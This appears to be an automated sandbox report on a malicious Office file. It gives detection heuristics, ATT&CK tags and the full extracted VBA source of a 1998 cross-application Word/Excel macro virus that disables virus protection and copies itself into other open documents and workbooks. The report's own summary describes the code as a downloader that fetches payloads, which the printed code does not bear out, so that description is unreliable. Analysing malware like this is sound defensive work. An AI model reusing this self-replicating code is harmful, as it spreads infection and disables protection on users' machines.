MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file contains VBA macros, indicated by the OLE_VBA_MACROS heuristic. The script uses a GetObject call, which is often employed to download and execute additional payloads. The ClamAV detection 'Doc.Trojan.Confused-3' further supports its malicious nature. The VBA code attempts to disable virus protection and execute code from the 'ThisWorkbook' module, suggesting a downloader or dropper functionality.
Heuristics 3
-
ClamAV: Doc.Trojan.Confused-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Confused-3
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
GetObject call high OLE_VBA_GETOBJGetObject call
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2638 bytes |
SHA-256: 6744ca69e0eb7c202a4dac595c2877e13744ceb93d0e3ee39b6b8e57bf64b6c6 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'Copyright (C) 1998 by FlyShadow ~^^~ - Confused Memories
Private Sub Document_Close()
On Error Resume Next
Options.VirusProtection = 0
Application.EnableCancelKey = 0
With ThisDocument.VBProject.VBComponents("ThisDocument").CodeModule
λ = .Lines(1, .CountOfLines + 1): End With
Err.Clear: Set υ = GetObject(, "Excel.Application").VBE.ActiveVBProject.VBComponents("ThisWorkbook").CodeModule
If Err.Number = 0 Then If Not υ.Find("~^^~", 0, 0, 0, 0) Then υ.DeleteLines 1, υ.CountOfLines: υ.AddFromString λ
For ι = 1 To Documents.Count
With Documents(ι).VBProject.VBComponents("ThisDocument").CodeModule
If Not .Find("~^^~", 0, 0, 0, 0) Then
.DeleteLines 1, .CountOfLines
.AddFromString λ
End If: End With: Next
End Sub
Private Sub Workbook_Deactivate()
On Error Resume Next
Application.EnableEvents = 1
Application.EnableCancelKey = 0
With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
λ = .Lines(1, .CountOfLines + 1): End With
Err.Clear: Set υ = GetObject(, "Word.Application").VBE.ActiveVBProject.VBComponents("ThisDocument").CodeModule
If Err.Number = 0 Then If Not υ.Find("~^^~", 0, 0, 0, 0) Then υ.DeleteLines 1, υ.CountOfLines: υ.AddFromString λ
For ι = 1 To Workbooks.Count
With Workbooks(ι).VBProject.VBComponents("ThisWorkbook").CodeModule
If Not .Find("~^^~", 0, 0, 0, 0) Then
.DeleteLines 1, .CountOfLines
.AddFromString λ
End If: End With: Next
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.